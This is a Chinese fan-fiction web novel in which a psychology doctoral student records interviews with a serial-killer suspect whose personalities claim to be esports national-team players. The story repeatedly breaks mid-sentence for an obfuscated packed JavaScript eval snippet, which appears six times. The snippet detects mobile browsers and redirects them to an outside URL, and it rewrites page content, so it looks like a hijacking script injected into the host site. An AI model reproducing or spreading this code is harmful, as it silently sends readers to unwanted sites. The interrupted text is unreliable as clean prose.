《[全职高手]国家队精神考察报告》 1. 000 000 我叫冉妍,人如其名,是位女性。 今年27岁,目前正在苏黎世大学攻读心理学博士学位。 作为一名在读博士,多年学习生涯的真实教训提醒我,相较于能否尽快完成学业并顺利毕业,我更应该提高对身体健康的重视,所以一直尽力保持着较为规律的作息。 当然,博士也是学生,是学生就难免会有赶上期末周、论文月的时候,偶尔的熬夜总归在所难免。 不过眼下正值暑假,我显然不会遇到上述烦恼。 早饭后,我刚准备出发去实验室继续跟进这段时间以来一直密切关注的研究,结果才走到玄关处,导师就打了通电话过来。 一心二用是我的强项,何况只是一通电话而已,既然导师本人没有站在我面前的话,这完全没有理由让我放下手头的所有事情、专心致志地去听一通清晨电话。 指尖毫不犹豫地点上外放后,我将手机搁在台面上,弯腰穿鞋。 透过手机扬声器传出的声音,再落到耳朵里竟有些许不真切,伴着微小到完全可以忽略的些许杂声,我大致了解了来龙去脉,对导师在电话那头提出的请求沉默地点了点头。 很快又想到他并不在眼前,看不见我的动作,于是轻轻应了一声作为回应。 该出的门当然还是要出的,只是这回,目的地发生了变化。 坐在去苏黎世大学附属医院的公交车上,我难得走了神,没有维持我观察街景的小习惯。 这么久以来,小到寻常的出游汇报、大到论文进展与修改意见,我与导师多半通过邮件联系,联系人一栏中的数字号码因此也成了摆设。 可这回,导师却是一反常态地打了通电话过来,还赶在大清早,想必是因为情况的确有些棘手。 我暗自思忖着,但对导师语气中抑制不住的轻微慌乱仍是感到好笑。 导师虽基本并不与我直接交流,却常常在邮件中不吝溢美之词,直夸我是天才。 这可不单单指我一个医学生半路出家学了心理学。 毕竟,世界上的聪明人很多,冷静到近乎冷血的可不多。 譬如眼下,面对这样一位棘手的病人—— 或者该说是犯人? 我却还有闲心对导师难得的失态嗤之以鼻。 这次的病人倒也算有趣。 作为一个刚被逮住的连环杀人凶手,他口口声声说自己有分离型身份识别障碍。 即“多重人格”。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17645070|206769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 说得再通俗易懂一点,就是大众口中语焉不详的“神经病”。 作为一个前精神医学专业学生,现犯罪心理学博士,我毕竟还未完全摆脱学生的身份,迄今为止并未独自接触到数量可观的实例。 虽然于某种程度上而言的确少了几分实践经验,但跟着导师的两年间,也曾见过或听过不少类似案例。 区区14个后继人格而已,还真不算什么瞠目结舌的特案。 我毫不避讳地恶意揣测,这或许只是凶手为了逃避即将面临的牢狱之灾,临时起意,要效仿24个比利所用的拙劣手段。 可倘若只是这样的情况,倒还不至于让见过大风大浪的导师一时失措。 至于派我来考察的原因么,多半…… 仅仅是因为我也是中国人? 在推门看到“他”之前,我对自己的猜想信心十足。 但随着与“他”的深入交谈和不断接触,我竟觉得“他”说的很有可能就是实情。 这样从头到尾彻底推翻已有结论的事情,对于我来说绝对是新奇体验。 因此,无论是基于还原案件的角度,还是出于研究病情的目的,我想我都该把这位特殊的病人记录下来,以供后人参考查阅。 2. 001 001 2025年7月17日 犯人冉逸,男,31岁,178cm,67kg。 这是我第一次见到“他”。 但和我想象的不太一样,对方没有世俗刻板印象里,一名犯人该有的神情萎靡或是阴沉凶狠,反倒神采奕奕、衣着整洁。 哪怕从上到下只穿了一身医院统一的病号服,我却依旧敏锐地从“他”的袖口看出,为了今日的会面,对方一定是精心打理过的。 见到陌生人,“他”倒是很热情,以一种意料之外的主动和我打了招呼。 “你好,我叫冉逸,医生小姐怎么称呼?” “冉妍。” 我的情绪并没有因“他”的积极态度有分毫被感染,反倒在做完自我介绍后立即开口纠错,“不好意思,请允许纠正一下,我不是医生。” “那还真是巧得很呢。” “冉逸”没有介意我的冷淡,“他”看起来真的很开心,“我们都姓冉呢。” 说完这句,“他”才为自己辩解: “既然能走到我的面前,冉小姐最起码一定是专业人士吧?既然如此,这声「冉医生」我叫的不是恰如其分吗?” 一句称呼而已,我并没有真的放在心上。 口中的“纠错”,也不过下意识地想借助这点儿小手段来试探一番。 见“他”对“医生”这个称呼有种独特的坚持,我便无可无不可地点点头,“既然如此,请随意。” “他”似乎为我的承认而喜悦,正准备再说些什么,却猛地顿住。 我看到对方将左手撑在膝盖上,在我的视线之中敲打出一片眼花缭乱节奏。右手则微微拢起,摊在大腿之上,指尖轻微晃动着,好像手中握住了什么东西似的。 我默默垂下眼睫,没有说话,但已经暗暗记住了这个十分古怪的小动作。 等对面的人再开口时,略显低沉的声线已转为极为清亮的音色,“哎哎哎?你就是今天那个要来看我们的医生吧?” “冉医生?是冉医生吗?我说的没错吧!” 这一连串的话语像炮弹似的向我袭来,伴随着越来越快的语速,撞进耳里的声音也越来越尖锐,实在令人吃不消。 听了没两句,我忍不住按按额角。 不能再任由“他”说下去了。 我得想个办法打断“他”。 “刚刚那一瞬间突然的停顿,就是人格转换的过程吗?” 有些出乎我的意料,“他”承认得格外爽快。 “没错没错,冉医生是怎么知道的?” 我本有心稍加解释,谁知对面这一句问话不过是为了抒发心情所进行的无意义感慨而已。 “他”丝毫没有要倾听我继续解释的意思,已经自顾自地说了下去: “不愧是冉医生,真聪明啊!还是说,医生都有像你这样的敏锐感知吗?” 显然,不需要捧哏,“他”也能一个人滔滔不绝地说很久: “冉医生,你可别嫌我话多哦!谁叫我们人太多啦,大家都在争抢这具身体的使用权呢!” “就像打比赛一样。” “他”这样和我打了个比方: “个人赛、擂台赛,再加一个团队赛。出场机会总共就只有那么多,但身为职业选手,谁不想走到台前、走进比赛舱内,在世界观众面前亮亮相呢?” “大家都想争一争上场的机会,情有可原嘛,对不对?” 说到激动处,“他”连身体前后晃动的幅度都大了许多。 看得我很担心。 万一“他”一个不留神,从椅子上摔下来怎么办? 还好,“他”的平衡能力很是不错,左摇右晃了半天,让我揪心的事情并未发生。 “看剑看剑看剑!” “他”兴致勃勃地向我比划着“他”的技能,看得人目不暇接。 “这招叫「幻影无形剑」,怎么样?” “他”很得意地向我展示了一段,最后以一个潇洒的收剑姿势结束。 我立即捧场地鼓起掌来,并试图从他的身形、手法、表情等方面加以评价: “很有剑客的气质。” 可惜,我很少接触这类剑术表演,口中的赞美之词干瘪而无趣。 “他”无比敏锐,很快指出了我的点评词汇十分匮乏,而欣赏视角又太过外行。 脸上随即露出了一丝名为“痛心疾首”的遗憾,“你和他一样,都需要加强审美情操!” 他? 我捕捉到了“他”话中透露的信息量,连忙追问。 可惜,等我再问下去的时候,一向话痨的人却选择了避而不谈。 “我的队友们也都很厉害哦。” 在滔滔不绝地向我展示了“他”的系列技能之后,“他”与有荣焉般的,和我分享道: “我想后面你应该还有机会欣赏他们的操作。” “当然啦——” “他”咧嘴一笑:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17645071|206769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如果到那时候,你还坐在这里的话。” 一个比我小了足足两岁的“弟弟”,一个再正常不过的笑容,却让我看出了一种近乎“毛骨悚然”的感觉。 在“他”和我交谈、展示才艺的时候,我几乎已经忘了“他”其实是个连环杀人犯。 一个喜欢把凶案现场设在不同场景下的高智商罪犯。 “他”当然不会承认自己是凶手。 这也当然是在说谎。 不过说到凶手,这个“凶手”极有可能是主人格冉逸。 也很有可能是包括“他”在内的,那些“队友们”中的任何一个或几个。 “冉医生可不知道,等了这么些天,总算来了个熟面孔了。” “那话怎么说来着……” 同样,并不需要我帮忙回忆,“他”只是一个劲儿地往下说: “「老乡见老乡,两眼泪汪汪」嘛!” “冉医生没来之前呀,这段时间都是那些又高又凶的老外对着我们左右盘问,听嘛也就能听懂一些简单句,翻译也不知道是从哪里找来的,中文蹩脚得很。” “他”手舞足蹈,热情洋溢地和我分享着: “要不是他们几个「心脏」连蒙带猜,把那前言不搭后语的话凑在一块儿拼出了个大意,我们哪能等到冉医生的到来呀!” “祖国同胞就是好!冉医生人美心善不说,最重要的是和我们没有语言障碍。” “你看,我们交流起来多愉快……” 限定时间快到了,“他”执意要在分别时一展歌喉,作为送给我的道别礼物。 他唱的都是粤语歌,据说粤语中的部分词汇沿袭了上古时期的发音。落在耳朵里,果然如传闻中的那样婉转动听。 奈何我既不生长在粤语区,也从没和粤语区的人打过交道,这就涉及到我的曲库盲区了。 听了半天,也只有一首还算耳熟: “冷冷的冰雨在脸上胡乱的拍,暖暖的眼泪跟寒雨混成一块……” 回去路上,那两颗小虎牙仿佛还在我眼前晃来晃去。 · · · · · —————————— P.S. 黄少天,25岁,176cm,浅黄色头发,话多且密。 托“他”的福,我今日一无所获。 真的、真的是太吵了。 希望明天不会看到“他”。 (划掉) 3. 003 002 2025年7月18日 “抱歉,昨天吓到冉医生了吧。” 落在耳朵里的声音质感极好,尤其是那音色,与第一次出现的主人格“冉逸”有些相似。 或许,都可以算作所谓的“低音炮”? 可惜我本来就不是什么“声控”,对声音的研究实在不多,无法从更专业的角度给出诸如“颗粒感”之类的高级词汇予以赞美。 饶是如此,我这个外行人也能轻轻松松地做出评价: 今日这位的音色,更甚一筹。 通过略略咬重的尾音和漫不经心的腔调,倒帮我毫不费力地判断出一件无关紧要的场外信息—— “他”是北京人。 这同时意味着: 一个全新的人格已经出现。 “冉医生你好,我叫王杰希。” 王杰希,26岁,181cm,黑发黑眼,且两只眼睛有明显的大小差异。 从脑海中调出这些信息,我捏起笔,想要记下些什么。 “王杰希”很是配合地向我解释起来:“黄少天就这样,垃圾话多得很,希望昨天的对话没有给冉医生带来困扰。” “毕竟联盟还特意为他修改规则了呢。” 说到这里,“王杰希”低低笑一声。 啊,就连笑声都这么好听。 我搜肠刮肚,却沮丧地发现,除了“好听”之外,一时间竟然找不出别的词语进行形容。 仅仅从字面上判断,他这两句评价应当是具有一定嗤笑意味的。 但很遗憾,尽管我努力分辨着“他”的话中情绪,也依旧无法觉察出其中包含了一丝一毫的嫌弃。 看来“他们”两个关系不错? 我得出了这样的推断。 “联盟?” 我决定暂且搁置对二人情感的判断,捕捉到了另一个略显陌生的名词,“那是什么?” “从某种意义上来说,我们这些选手都归联盟管制。” “尽管在实际操作的时候,选手们最终还是归属于各家俱乐部。” “王杰希”斟酌着给出回答,却没有正面解释这个词的真正含义。 或许是不想让我知道。 又或许—— 连“他”自己也不知道。 我倒是一派兴趣十足的样子,“所有选手?你们?” “可以这么说。”出乎我的意料,在提到这个话题后,“王杰希”反倒更显放松。 “他”声音不大,在这方有限空间里更显出了立体声环绕的效果,配着独一份的北京腔,竟让我也生出了一种错觉—— 我不是在医院里对犯人进行考察,而是在咖啡馆和友人闲聊。 “想必冉医生应该知道,我们国家队一共有十四个人。” “国家队?”我听得有些发懵。 这又是唱的哪一出? “毕竟我们也是代表中国出战世邀赛的,为国争光的事儿称上一句国家队想来也不为过吧。” “王杰希”似乎曲解了我的意思,蹙着眉,有些不满。 看来“他”这是将我的困惑当成了质疑。 天地可鉴,我话里话外绝对没有瞧不上“他”(或者“他们”!)的意思,只是出于好奇罢了。 不懂就问。 我很爽快地承认了自己说话语调所带来的潜在误解,“抱歉,我对游戏的了解实在有限,如果不介意的话,方便麻烦您给我这个外行介绍一番吗?” “他”左手微微撑了撑头,略有些散漫的坐姿也收了回去,交叠的长腿即便是收起来的小动作也赏心悦目得不得了。 看样子,“他”是要正襟危坐,好好向我介绍介绍了。 我耐心地等待着下一句。 “如果在平时,他会很乐意为你答疑解惑的。” “可惜王队昨晚没休息好,如果冉医生实在好奇的话,这些零碎的条条框框还是由我来介绍吧。” 对面的人中规中矩地坐着,口音听着是北方偏西的,我估摸像西安人。 我迅速地在脑海中调出这位: 李轩,25岁,179cm,头发有些偏棕色。 果不其然,“他”开口自我介绍了起来:“我叫李轩,冉医生你好。” 相较于前面接触过更显跳脱的两位,“李轩”的性格好得令我有些泪目。 “他”耐心地等我同“他”问过好后,并没有顾左右而言他,也没有执着地来一段才艺展示,而是十分爽快地接着我刚刚的疑问回答下去: “我们都是《荣耀》这款游戏的忠实玩家,也通过青训走上了职业舞台。” “作为GPL的职业选手,非常荣幸能代表国家前往苏黎世参加首届世界荣耀邀请赛。” “GPL?” 根据首字母,我胡乱猜测一通:“公平路?” 这样外行的说法显然把“李轩”逗乐了。 “他”的神情放松不少,语调也透着一股轻快:“Glory Pro League,全程是「 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17645072|206769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 荣耀职业联赛」。” “原来如此——” 我顿了顿。 “他”说得太过官方,还需要努力从中提取出对我有用的信息。 《荣耀》我自然是知道的,这款游戏风靡全球。 导师的研究室里好些同门都在玩,连我这个从不玩游戏的人都因其火热程度对它略知一二,遑论大街小巷随处可见的海报宣传,更是为这本就火爆的游戏添柴加火。 可问题是—— 今年只有在苏黎世举办的欧洲联赛,哪里来的什么世界邀请赛? 我满腹疑问。 “国家队共有十四名成员,领队一人、队长一人以及队员十二人,人员构成为十二男、二女。” “李轩”的介绍和我预想得还是有些不同。 他对于“他们”彼此的存在并不避讳,甚至可以说得上是自豪和骄傲。 这让我想到了昨天“黄少天”脸上如出一辙的骄傲。 是因为彼此的存在? 还是因为入选了“国家队”? 就在我出神的时候,那头,“李轩”已经介绍到“他们”各自的职业了。 “我是玩阵鬼的。” “「鬼/神盛宴」,冉医生有听过吗?那可是我的绝招。” 说到这里,“他”面有得色。 我脑海中飞快闪过那张照片—— 尸/体死状凄惨,身上所有器官都被挖了出来,只留下一个个血窟窿,彷佛真的有各路鬼/神在死者身上尽情享用了一顿饕餮盛宴。 即便我从未去过现场,但透过照片,似乎鼻尖已经可以嗅到浓烈的血腥味。 “李轩”有些遗憾,“可惜阿策不在……” “他”脸上露出了一丝期待:“我们可是并称「虚空双鬼」的。” “要有他在,来个「二鬼拍阵」,凭借我们的默契,一定能快速收割对手的一波血量,场面也更加漂亮。” “对手?”我细细品味了一下这个词。 这么血腥暴力的杀人现场,“李轩”却不以为意,提到作案手法时甚至还是颇为遗憾的模样。 我还想继续问下去,对面的人在我思考的时候已经又换了另一种坐姿。 “他”摆了摆手,“今天就先到这吧。” 说话的时候,右手下意识地推了推眼镜,脸上维持着礼貌的笑容。 我当然要尊重“他”的意见,哪怕“他”是犯人。 第四个人格出现了。 我却只能不甘地告辞。 4. 003 003 2025年7月19日 今天不想去医院。 (不想!!!) 我觉得有必要把昨天的见闻稍作整理,顺便理清自己接下来的考察思路。 毕竟昨天收获不少,一连见到了三个人格,这可大大出乎了我的意料。 当然,也是托那三位(主要是第二位)的福,让我对于“他们”内部的分工更加明确。 如果不出意外的话,所谓“领队”和“队长”担任的应该就是“领导者”的角色,其余的人格则会在某段时间内掌控身体,但出现的时间完全随机…… 吗? (???) 不,也许不是随机。 只是在现阶段,考察开展没两天,我还未能发现触发人格转换的关键所在罢了。 说对“他们”不了解那完全是托辞。 根据手上获取的资料,每出现一个新的人格,我都可以大致判断出对面分别是谁。 之所以会采用这样的借口,不过是想借此探究“他们”在资料中无法体现出的性格特点的一种手段而已。 我有些得意地想着。 联想起“黄少天”口中的那个词,这应当也能算作“心脏”的一种体现吧? 脑袋里闪过这个念头,我又顺手在“张新杰”与“肖时钦”这两个名字上作了标记。 戴眼镜是一个很重要的特征,可以帮我将正确答案的范围缩小到两人之间。 见势不对就出来打断我的问询,这样的机敏与谨慎,他们两位显然都具备。 那么棘手的问题来了—— 昨天我见到的,究竟是谁呢? 这个疑问只能留到下次见面再解答了。 再说杀/人手段。 通过“李轩”的话可以分析出来,“他们”,或者至少是“他”,并不认为杀/人是什么大事,就如同游戏里打怪一样,动动手,一套技能就能带走。 这样冷酷的思想又是怎么来的? 这是“李轩”一个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17645073|206769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出现的思想偏差?还是“他们”共同的认知误区? 除此之外,在“冉逸”之后,我从未对任何一个人格做过自我介绍,但“他们”在出现的时候都能无比准确地一口叫出我的名字,并保持了高度统一的称呼—— “冉医生”。 毫无疑问,他们共享了彼此的记忆。 按理来说,鼓励、引导各个分离人格进行内部交流是治疗多重人格的传统手段。 因为这有助于他们了解彼此、熟悉彼此,进而便于后续进行人格融合。 我本应该乐见其成。 可“他们”有些太过团结了。 换句话说,普通的治疗手段对“他们”能不能起作用?能起到多大作用? 这些都要打上问号。 最后是“冉逸”,除了第一次会面时短暂的几句交谈外,我似乎再也没有见过“他”。 主人格对身体的掌控处在劣势,这可不是什么好消息。 明天再去看看有什么新的收获吧。 5. 004 004 2025年7月20日 天不遂人愿。 今天本该是我去医院继续考察的日子。 可当我在等待室里干坐了二十分钟左右,才有一位年轻的护士姗姗来迟。 “真抱歉,今天的见面临时取消了。” 她有些歉意地告诉我。 尽管我在她的眼中看不出一丝一毫的“歉意”。 “没有原因吗?” 我皱了皱眉,十分困惑。 无论是主人格“冉逸”,还是别的副人格,看起来都不像是会主动闹事的样子。 (那也只是看起来!!!) 除了个别、实在是太吵闹的人。 “冉逸被看管起来了。” 听得出来,想要发出中文人名的声调对于她来说还是有些吃力。 “因为严重干扰了其他病人的休息。” 她看出了我的疑问,进一步解释道。 “事情发生的时候,具体是在几点呢?” 我顺口追问。 “昨天傍晚,正好赶上所有人一起吃午饭的时间。” 说到这里,护士也很头疼。 “我们已经十分小心地为他创造了单人的环境,谁能想到,他还是尽一切可能,抓住了空子。” “或许这就是他迟迟没有被定罪的原因吧。” 她耸耸肩:“高智商犯罪嘛,就是这样。” 就是这样? 又是哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17645074|206769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样? 但我没有问出口,而是关心起了另一个更加重要的问题: “既然事情发生在昨天傍晚,为什么直到今早这么长的一段时间里,院方一直没有人通知我会面取消或改期这回事呢?” 这位年轻的女士拒绝回答我的问题,只是向外推门,示意我可以离开了。 医院竟然会犯这样的小错误,真是不应该。 我还是有些气愤地想。 “哦,对了。” 临走之前,那位年轻的护士告诉我: “他被移监了。” 为了避开那个有些拗口的中文名,她选择以“他”来指代。 “接下来的考察,您恐怕需要移步监狱才能继续进行下去。” 6. 005 005 2025年7月21日 或许有我昨天表态在先,今天一早,监狱那边就有人通过电话联系了我。 对方通知,“冉逸”的转监手续已经全部完成,我可以继续按照我的节奏开展“考察”了。 即便是临时起意的转监,监狱的戒备依旧森严。 沃尔登监狱原本是以一所看管轻罪犯的监狱,但随着欧洲监禁率逐年呈现下降趋势,前几年已经转为以看管重刑犯为主的监狱。 特别是伴随着“冉逸”的入狱,当我一路进来的时候都忍不住感慨,这里说是五步一哨都不为过。 来到新环境的好奇逐渐消散,从心底生发出的,更多是期待: 我想见一面“李轩”。 至少“他”表现出来的,是一个很乐意为我答疑解惑的姿态。 说不定,这点会成为我的突破口。 有了这样的期待,在进入审讯室前,我不由深深吐了两口气。 这叫什么,“开盲盒”的心理吗? 推门进去,我看到“他”坐在椅子上。 听见我进来的动静,“他”迅速抬头看了一眼,轻轻地抿了下嘴,没说什么,又迅速地将视线挪开。 换“人”了。 就凭这一眼,我就可以断定—— 眼前的“他”,不是我此前见到过的任何一个。 看来短短两天过去,经历了转监这件意外和高压的新环境,无形之中又将冉逸“逼”成了另一个“人”。 从眼神动作和肢体语言不难看出,我眼前的这位明显要害羞内敛许多。 好在,我今天也算是有备而来。 “尝尝吗?” 我将随身挎包里装好的巧克力递过去。 “他”有些犹豫,好像在思考要不要接。 又或许是因为,在“他”之前,我没有向任何一个“人”表现过这样的善意。 没了“前辈”们的示范在前,让“他”有些无从应对。 “放心,进来的时候已经让他们仔细检查过了,通过允许的,就是块普普通通的巧克力。” 我笑了笑,将巧克力放在桌上,朝他那边的方向推过去。 “如果非得说有什么特别的话……” 我语气轻松地开了个玩笑:“大概就是它是我最喜欢的牌子吧?” “昨天回家的路上去超市补了点货,今天就顺便带一块来给你尝尝。” 我的解释很周全,“他”没有再纠结下去的理由,冲我道了谢,伸出手来,把巧克力拿到了自己面前。 不得不说,包括今天的“他”在内,“他们”都有一双无比漂亮的手。 骨肉匀称,十指修长。 指甲修剪得恰到好处,和骨节一样,透着点淡淡的粉色。 是好看到可以做手模的那种程度。 “他”似乎已经习惯了这样欣赏的目光,对我打量的视线完全可以做到无动于衷。 接着,慢吞吞地拆掉巧克力的包装袋,就这样坐在我对面,安安静静地品尝起了我口中“很好吃”的巧克力。 这是个观察“他”的好机会。 我意识到了,也这样做了。 “他”和“黄少天”、“李轩”、“王杰希”这几位很不一样。 “他”有一张很漂亮的脸蛋,却一点儿也不会让人觉得需要仰视“他”。 相反,“他”只需要这样坐在这儿,就无端让人想要保护“他”。 没有原因,没有理由。 甚至就在“他”小口小口吃巧克力的这点功夫,我就已经对“他”生出了无限喜爱。 以致于差点就快忘记,“他”是个需要严加看管的杀/人/犯这一事实。 “他”吃的很慢,等着也是等着,我拿上次看“黄少天”剑术表演的事情和他分享。 “他”微微笑了,笑起来之后,那张脸显得更好看了。 虽然有点羞涩,但“他”的英俊没有因此受到一丝一毫的影响。 “是他的话,并不意外。” “他”的语调不高,声音也很轻柔,但就是透着一股令人信任的力度。 “他”突然坐直:“垃圾话嘛!” 语调陡然变得散漫许多,“他”就这么坐在那里自言自语起来。 “老叶?” “我去你可算出来了!” “PKPKPK!” “走啊!竞技场1V1,来不来?” “谁和你1V1。” “他”轻嗤一声。 “我还要……” 这句话没有说完,“他”抱歉地冲我笑了一下。 是“他”回来了。 看巧克力吃得差不多,我礼貌地问“他”是否可以展开交流。 “他”点点头,乖顺地配合。 真奇怪。 初了性格有点怪,这些后继人格丝毫看不出重刑犯的影子,一个比一个脾气好。 “周泽楷。” “他”规规矩矩地按照流程,向我做起了自我介绍。 周泽楷,24岁,181cm。 如果非要说在外形上有什么特点的话,那就是长得很帅。 是与职业选手所不相符的帅气,有样貌有身材,或许转行去娱乐圈都绰绰有余。 毕竟如今国内娱乐圈里,奇形怪状的人也不少。 “周泽楷”告诉我,刚刚就在他专心吃巧克力的时候,“黄少天”忽然跑出来了。 我并不意外:“之前见过,他的语言风格确实很有特点。” 说着,我自己也笑了:“令人过目不忘。” “周泽楷”点头,毫不避讳地对我的说法表示了认可。 我忽然欣喜于自己的新发现。 虽然并不知道这能不能算是一条准确的规律。 如果可以用肢体语言或者眼神传达清楚自己的意思,“周泽楷”绝对会选择不说话。 “那另一位呢?” “黄少天”可以先放一放,我更关心的是另一位。 老叶…… 这好像是我第二次听到这个名字了。 (其实是第一次!) “他们约好了。” “周泽楷”的作风似乎印证了我的观察,他尽量言简意赅地把事情的来龙去脉说清楚:“如果黄少能在擂台赛一挑三,世邀赛结束后,就1V1。” “听刚刚的语气……” 我回想了一番,试图理解“他们”之间的加密通话:“这是没能成功约上?” “约成了,但没来得及。” 为什么没来得及? 像“黄少天”那样话太多了显然不好,可要像“周泽楷”这样话太少的,又很令人头疼了。 “周泽楷”笑了一下,依旧是那副腼腆中有一丝羞涩的样子,也依旧帅气逼人: “被抓了。” “他”这样子,肯定知道关于杀/人的内幕,偏偏英俊的一张脸上看不出半分后悔或懊恼。 这还是我刚进来的时候看到的那个“周泽楷”吗? 还是说,“他”也参与进了这件事呢? 我决定换个切入点。 “你是队员吧?” 按照“李轩”的说法,“他们”这群“国家队”里的人,分为领队、队长和队员三种角色。 “周泽楷”话少得可怜,怎么看都不像是能担当领队或队长的样子。 我自信地想。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17645075|206769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 认为自己抛出了一个无需回答的问题。 “和他们一起的时候,是的。” “周泽楷”又笑了一下,有点轻。 什么叫“和他们一起的时候?” 难道不和他们一起的时候就不是了吗? 我立刻对此展现了好奇,可当我再向“他”追问的时候,“周泽楷”却什么都不肯说了。 “他”的手搭桌面上,有一下没一下地弯曲着指节,动作呈现出一阵极有规律的节奏,赏心悦目。 这样的动作让我莫名想到了和“黄少天”的初见。 “他”也是这样,但手上的速度可比“周泽楷”快多了。 正因如此,才让我大胆推测,“周泽楷”或许不是在敲键盘。 那又会是什么呢? 上一个问题还没有思考出结果,下一个问题又来了。 外面的狱警示意今日会面已结束,“周泽楷”乖巧地和我道别:“冉医生再见。” 说完,无需狱警押送,“他”就顺从地跟着走了,乖巧得仿佛学生,听话地跟在老师身后。 没有东张西望,没有任何不满。 我在原地待了一会儿,明明“周泽楷”无比配合,几乎称得上是“有问必答”,可我依旧头疼得厉害。 我将包里的巧克力掏出来吃了一块,才感觉稍微好转一些。 直到摇摇晃晃地走出沃尔登监狱,我才终于意识到自己忽略了什么。 · · · · · —————————— P.S. 我怎么会把这么重要的事情给忘了呢? “周泽楷”也是个杀/人/犯! 在得知“冉逸”被移监之后,除了那些和“冉逸”直接相关的案件,昨天,我还特意向警/方申请调阅了近几年的凶杀案。 特别关注了许多至今仍未被破获的悬案。 如果说“李轩”的“鬼神盛宴”因为太过血腥而令我印象深刻,那么还有一个则是因为太不血腥而令我印象同样深刻。 现场非常干净,干净到丝毫看不出那里曾经发生过凶杀案。 死/者就那样安静地躺着,除了一处致命伤,浑身上下找不出第二道伤痕。 偏偏就是那唯一的一处,一击致命。 凶/手的力度、距离把控,可见一斑。 因为力度适中,那颗子弹甚至都没有飞出太远,孤零零地落在几星碎霜荒火之间。 闭上眼,我眼前依旧能浮现出“周泽楷”的笑容。 “他”那样腼腆、害羞的性格,出手的时候却透着与之天差地别的干脆利落。 还有残忍。 “他”口中的“和他们在一起的时候”,我已经不敢去想究竟代表什么了。 难道只有在监狱里,“他”才会做一个乖巧温顺的“队员”吗? 至于那串疑似叩击的动作,毫无疑问,“周泽楷”手上拿的可不是什么键盘,而是“他”的作案工具—— 木仓! 传说中的□□狙击。 精准、暴击、穿刺。 一枪即杀。 我不否认,从“黄少天”到“王杰希”,再到“李轩”、“周泽楷”,“他们”性格迥异,但大体上都称得上是“好说话”。 (虽然我常常感到越问越糊涂!) (但这究竟是我的问题还是他们的问题?) 可问题在于—— 目前我所接触到的人格全是以“队员”的身份出现的。 “他们”的“领队”和“队长”呢? 是想先通过“队员”来探探我的虚实吗? 还是压根就不屑于露面??? 7. 006 006 2025年7月22日 按照原计划,今天下午本来应该有场饭局,但我心里一直惦记着“冉逸”的事,所以以一种不留情面、十分干脆的口吻拒绝了朋友的邀请。 哪怕是出于工作的原因回绝,我内心难免感到遗憾。 毕竟我们的关系一向不错,对吧? 至于邀请我的那群朋友,我们之间也的确有很长时间没聚在一起吃吃饭、聊聊天了。 真怀念之前的时光啊! 到底有多久了呢?似乎……真的很久了吧。 不然,我也不会一点都想不起来他们的模样。 至于朋友…… 她们是在德国的吧? 我在苏黎世有朋友吗? 导师说得对,我果然还是应该劳逸结合。 